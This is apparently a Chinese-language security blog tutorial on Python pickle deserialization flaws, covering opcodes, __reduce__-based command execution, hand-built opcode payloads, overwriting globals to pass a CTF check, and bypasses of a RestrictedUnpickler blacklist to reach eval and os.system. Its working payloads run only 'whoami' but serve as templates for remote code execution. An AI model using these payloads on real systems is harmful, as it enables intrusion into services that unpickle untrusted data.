python pickle反序列化漏洞

前置知识

什么是pickle

pickle是Python专用的一个进行序列化和反序列化的工具包,pickle能表示Python几乎所有的类型(包括自定义类型),由一系列opcode组成,模拟了类似堆栈的内存。

与PHP序列化或者JSON,这些以键值对形式存储序列化对象数据的不同,pickle 序列化(Python独有)是将一个 Python 对象及其所拥有的层次结构变成可以持久化储存的二进制数据,无法像JSON 一样直观阅读。在Python中,采用术语 封存 (pickling)解封 (unpickling)来描述序列化。

可序列化的对象

节选自官方文档:pickle — Python 对象序列化

  • None, True, 和False;
  • 整数、浮点数、复数;
  • 字符串、字节、字节数组;
  • 元组、列表、集合和仅包含可提取对象的字典;
  • 在模块顶层定义的函数(内置的和用户定义的)(使用def,不是lambda);
  • 在模块顶层定义的类;
  • 某些类实例,这些类的 __dict__ 属性值或 __getstate__() 函数的返回值可以被封存(详情参阅 封存类实例 这一段)。

序列化模块接口

pickling:
#文件
pickle.dump(obj, file, protocol=None, *, fix_imports=True, buffer_callback=None)
#字节流
pickle.dumps(obj, protocol=None, *, fix_imports=True, buffer_callback=None)
unpickling:

pickle.loads对于未引入的module会自动尝试import。

#文件
pickle.load(file, *, fix_imports=True, encoding='ASCII', errors='strict', buffers=None)
#字节流
pickle.loads(data, /, *, fix_imports=True, encoding='ASCII', errors='strict', buffers=None)
pickle.Unpickler

像一个代理类一样,在序列化前进行处理,进行安全过滤之类的。

  • load()

    从构造函数中指定的文件对象里读取封存好的对象,重建其中特定对象的层次结构并返回。

  • find_class(module, name)

    如有必要,导入 module 模块并返回其中名叫 name 的对象,其中 modulename 参数都是 str 对象。注意,不要被这个函数的名字迷惑, find_class() 同样可以用来导入函数。 子类可以重载此方法,来控制加载对象的类型和加载对象的方式,从而尽可能降低安全风险。参阅 限制全局变量 获取更详细的信息。 引发一个 审计事件 pickle.find_class 附带参数 modulename

    class RestrictedUnpickler(pickle.Unpickler):
        blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
    
        def find_class(self, module, name):
            # Only allow safe classes from builtins.
            if module == "builtins" and name not in self.blacklist:
                return getattr(builtins, name)
            # Forbid everything else.
            raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                         (module, name))
    

魔术方法

object.__reduce__()

通过重写类的 object.__reduce__() 函数,使之在被实例化时按照重写的方式进行,对应opcode当中的R指令

该接口当前定义如下。__reduce__() 方法不带任何参数,并且应返回字符串或最好返回一个(callable, ([para1,para2...])[,...]) 的元组(返回的对象通常称为“reduce 值”)。

在unpickling时就会,对元组当中的方法进行回调,如常见的命令执行:

import pickle
import os
 
class test():
    def __reduce__(self):
        command=r"whoami"
        return (os.system,(command,))

opcode=pickle.dumps(test())
print(opcode)
 
pickle.loads(opcode)

image-20220507002026986

object.__setstate__(state)

用于设置对象属性,执行obj[key]=value的时候自动调用,对应opcode当中的b指令

当解封时,如果类定义__setstate__(),就会在已解封状态下调用它。此时不要求实例的 state 对象必须是 dict。没有定义此方法的话,先前封存的 state 对象必须是 dict,且该 dict 内容会在解封时赋给新实例的 dict

opcode

当前共有 6 种不同的协议可用于封存操作。 使用的协议版本越高,读取所生成 pickle 对象所需的 Python 版本就要越新,不同版本中得到的opcode不同。

pickle可以向下兼容,v0 版协议是原始的“人类可读”协议,为了通用性以及易读性,本文以v0协议为例。

在Python的模块源码:pickle.py中,有着所有的opcode及其解释,安全当中常用的opcode如下:

操作码描述例子
c获取一个全局对象或import一个模块,即调用 find_class 方法并将结果入栈c[module]\n[instance]\n
o寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)o
i相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)i[module]\n[callable]\n
R选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数R
b使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置b
V实例化一个UNICODE字符串对象Vxxx\n
.程序结束,栈顶的一个元素作为pickle.loads()的返回值.
u寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中u

关于其他操作符的作用,推荐阅读:opcode 简介,这里不再累述。

pickle其实是一个基于栈的虚拟机,它由一串串opcode(指令集)组成,最终由Pickle Virtual Machine (PVM)负责解析。

pickle的内容存储在如下两个位置中:

  • stack 栈
  • memo 一个列表,可以存储信息

image-20220509164126336

下图是PVM解析 __reduce__() 的过程动图:

image-20220509001219887

利用方法

本文当中的opcode生成,尽量使用Pker工具生成,不过还是推荐先学会手撕opcode。

还可以使用souse工具,实现从 Python 代码到 opcode 的翻译

执行危险函数

R操作符:

先看一个常见的python马

import os
import pickle
import pickletools

class Evil():
    def __reduce__(self):
        return (os.system, ('whoami',))
print(pickle.dumps(Evil(),protocol=0))
pickletools.dis(pickle.dumps(Evil(),protocol=0))

image-20220509012814422

可以看见opcode导入的是一个nt模块,这是因为是在win下生成的,拿去linux下进行反序列化的话就会报错。

编写opcode 通过 __builtin__.__import__ 函数导入 os 模块就可以避免这种局限性。

#python pker.py < 1.txt
os = GLOBAL('__builtin__', '__import__')('os')
system = GLOBAL('__builtin__', 'getattr')(os, 'system')
system('whoami')
return

image-20220509010709093

可以看到上面用到的都是R操作符,简化一下就是

cos
system
(S'whoami'
tR.

image-20220509013736291

用pker的语句:

system = GLOBAL('os', 'system')
system('whoami')
i操作符:
(S'whoami'
ios
system
.
INST('os', 'system', 'whoami')
o操作符:
(cos
system
S'whoami'
o.
OBJ(GLOBAL('os', 'system'), 'whoami') 

上面这三种都是直接去调用os模块,没有用__builtin__.__import__ 去导入,这是因为上面已经提到了pickle.loads会解决import问题,整个python标准库的模块函数均可以使用。

上面的操作同样可以用来实例化对象(一种特殊的函数执行),如:

INST('__main__', 'User','admin','123456')

修改全局变量

通过 c 操作码可以获取到任意对象,b 操作码可以对任意对象进行修改,此时就可以获取全局对象并进行修改

通常可以用来覆盖secret_key然后进行session伪造,ctf中也有用来过判断表达式的操作

#admin.py
name = "admin"
password = "fsadffsdfs"

#app.py
import admin
class User:
    def __init__(self,name,password):
        self.name = name
        self.password = password

    def __eq__(self, other):
        return type(other) is User and self.name == other.name and self.password == other.password

app = Flask(__name__)
@app.route('/', methods=['GET','POST'])
def flag():
    if request.method == 'POST':
        try:
            result = pickle.loads(base64.b64decode(request.form.get('user')))

            correct = ((result == User(admin.name,admin.password)))
            if correct:
                    return Response('flag{fdsfadsfasdfasasdf}')

        except Exception as e:
            return Response(str(e))

    return Response("try")


使用pkel生成

admin = GLOBAL('__main__', 'admin')
admin.name = "admin"
admin.password = "123456"
User = INST('__main__', 'User','admin','123456')
return User

image-20220509135528144

Bypass

绕过R指令限制进行RCE

除了上面提过的的i,o指令,其实还有个b指令。

b指令在注释中的描述为:call __setstate__ or __dict__.update() ,即执行__setstate__或者更新栈上的一个字典进行变量覆盖

同时上面提到__setstate__方法的描述为:

当解封时,如果类定义__setstate__(),就会在已解封状态下调用它。此时不要求实例的 state 对象必须是 dict。没有定义此方法的话,先前封存的 state 对象必须是 dict,且该 dict 内容会在解封时赋给新实例的 dict

对应源码当中的这一段

def load_build(self):
        stack = self.stack
        state = stack.pop()
        inst = stack[-1]
        setstate = getattr(inst, "__setstate__", None)
        if setstate is not None:
            setstate(state)
            return
        
        slotstate = None
        if isinstance(state, tuple) and len(state) == 2:
            state, slotstate = state
        if state:
            inst_dict = inst.__dict__
            intern = sys.intern
            for k, v in state.items():
                if type(k) is str:
                    inst_dict[intern(k)] = v
                else:
                    inst_dict[k] = v
        if slotstate:
            for k, v in slotstate.items():
                setattr(inst, k, v)
    dispatch[BUILD[0]] = load_build

如果一个类,没有定义__setstate__方法,但在反序列化时通过b操作符用{"__setstate__": os.system}来初始化类的对象。

初始是没有定义__setstate__,所以这里b操作码实际上执行了__dict__.update(),给对象设置了一个恶意的__setstate__方法。

最后再把命令(whoami)作为参数,再次执行BUILD指令,由于此时对象存在__setstate__方法,state为whomai,setstate(state)相当于执行os.system('whoami'),成功实现了RCE。

这里无法用pker生成,只能手搓

(c__main__
Animal
S'Casual'
I18
o}(S"__setstate__" 
cos
system
ubS"whoami"
b.'''

绕过c指令module限制

最经典的就是Code Breaking picklecode中的一个沙盒绕过了

import pickle
import io
import builtins

__all__ = ('PickleSerializer', )


class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))


class PickleSerializer():
    def dumps(self, obj):
        return pickle.dumps(obj)

    def loads(self, data):
        try:
            if isinstance(data, str):
                raise TypeError("Can't load pickle from unicode string")
            file = io.BytesIO(data)
            return RestrictedUnpickler(file,
                              encoding='ASCII', errors='strict').load()
        except Exception as e:
            return {}

看一下内置函数是否还有漏网之鱼

image-20220509170532389

如同模板注入当中的命令执行一样通过getattr()获取对象的属性值,来一步步的获取eval函数。

builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.golbals(),'builtins'),'eval')(command)

写成opcode就是:

cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.

像这种复杂的最好还是用pker直接生成

getattr=GLOBAL('builtins','getattr')
dict=GLOBAL('builtins','dict')
dict_get=getattr(dict,'get')
glo_dic=GLOBAL('builtins','globals')()
builtins=dict_get(glo_dic,'builtins')

eval=getattr(builtins,'eval')
eval('whoami')
return

还有一种方法是使用builtins.globals()去获取已经导入的pickle模块,直接调用其loads()方法绕过find_class()黑名单限制。

#Protocol 3 (新增B,C两个字节码以标识byte类型)
\x80\x03cbuiltins\ngetattr\n(cbuiltins\ngetattr\ncbuiltins\ndict\nX\x03\x00\x00\x00get\x86R(cbuiltins\nglobals\n)RS'pickle'\ntRS'loads'\ntRC\x19cos\nsystem\n(S'whoami'\ntR.\x85R.

参考:

https://xz.aliyun.com/t/7012

https://xz.aliyun.com/t/7436

https://docs.python.org/zh-cn/3/library/pickle.html

https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html

https://mp.weixin.qq.com/s/Tb2e_2ihuMP3mWtrPtuFUQ

https://goodapple.top/archives/1069

https://www.modb.pro/db/386177
x00\x00\x00get\x86R(cbuiltins\nglobals\n)RS’pickle’\ntRS’loads’\ntRC\x19cos\nsystem\n(S’whoami’\ntR.\x85R.




## 参考:

https://xz.aliyun.com/t/7012

https://xz.aliyun.com/t/7436

https://docs.python.org/zh-cn/3/library/pickle.html

https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html

https://mp.weixin.qq.com/s/Tb2e_2ihuMP3mWtrPtuFUQ

https://goodapple.top/archives/1069

https://www.modb.pro/db/386177
  • 3
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值